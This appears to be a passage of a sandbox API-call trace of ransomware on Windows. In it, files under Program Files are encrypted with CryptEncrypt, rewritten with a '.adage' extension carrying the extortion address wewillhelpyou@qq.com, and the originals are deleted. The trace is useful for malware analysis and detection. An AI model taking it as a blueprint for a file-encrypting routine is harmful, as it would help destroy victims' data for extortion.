(lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.731] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4813) returned 1 [0060.731] CloseHandle (hObject=0x180) returned 1 [0060.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png")) returned 0x20 [0060.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport_mask_right.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_mask_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.732] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.732] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=99127) returned 1 [0060.732] CloseHandle (hObject=0x180) returned 1 [0060.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0060.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.733] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.733] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3057) returned 1 [0060.733] CloseHandle (hObject=0x180) returned 1 [0060.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0060.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.733] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.734] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=25998) returned 1 [0060.734] CloseHandle (hObject=0x180) returned 1 [0060.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0060.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.735] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=205220) returned 1 [0060.735] CloseHandle (hObject=0x180) returned 1 [0060.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv")) returned 0x20 [0060.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.735] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=61220) returned 1 [0060.736] CloseHandle (hObject=0x180) returned 1 [0060.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0060.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.736] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.736] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=61220) returned 1 [0060.736] CloseHandle (hObject=0x180) returned 1 [0060.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0060.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.737] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.793] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=229220) returned 1 [0060.793] CloseHandle (hObject=0x1ac) returned 1 [0060.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0060.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.793] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.850] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8590) returned 1 [0060.850] CloseHandle (hObject=0x198) returned 1 [0060.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif")) returned 0x20 [0060.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.851] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0060.851] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0060.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.851] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0060.851] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0060.851] ReadFile (in: hFile=0x198, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x218e, lpOverlapped=0x0) returned 1 [0060.930] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x2190, dwBufLen=0x2190 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x2190) returned 1 [0060.930] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x2190, lpOverlapped=0x0) returned 1 [0060.931] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0060.931] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0060.931] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0060.931] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0060.931] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0060.931] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.931] CloseHandle (hObject=0x198) returned 1 [0060.931] CloseHandle (hObject=0x1ac) returned 1 [0060.932] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash.gif")) returned 1 [0060.933] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.933] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=7805) returned 1 [0060.933] CloseHandle (hObject=0x1ac) returned 1 [0060.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0060.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0060.934] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0060.934] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0060.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.934] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0060.934] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0060.934] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x1e7d, lpOverlapped=0x0) returned 1 [0060.977] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1e80) returned 1 [0060.977] WriteFile (in: hFile=0x198, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x1e80, lpOverlapped=0x0) returned 1 [0060.979] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0060.979] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0060.979] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0060.979] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0060.979] WriteFile (in: hFile=0x198, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0060.979] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0060.979] CloseHandle (hObject=0x1ac) returned 1 [0060.979] CloseHandle (hObject=0x198) returned 1 [0060.980] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0060.981] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0060.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.083] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=153) returned 1 [0061.083] CloseHandle (hObject=0x180) returned 1 [0061.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0061.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0061.083] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.083] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\java\\jre1.8.0_171\\lib\\images\\cursors\\invalid32x32.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0061.084] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.084] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.084] ReadFile (in: hFile=0x180, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x99, lpOverlapped=0x0) returned 1 [0061.085] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0, dwBufLen=0xa0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa0) returned 1 [0061.085] WriteFile (in: hFile=0x1a4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa0, lpOverlapped=0x0) returned 1 [0061.086] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.086] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.086] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0061.086] 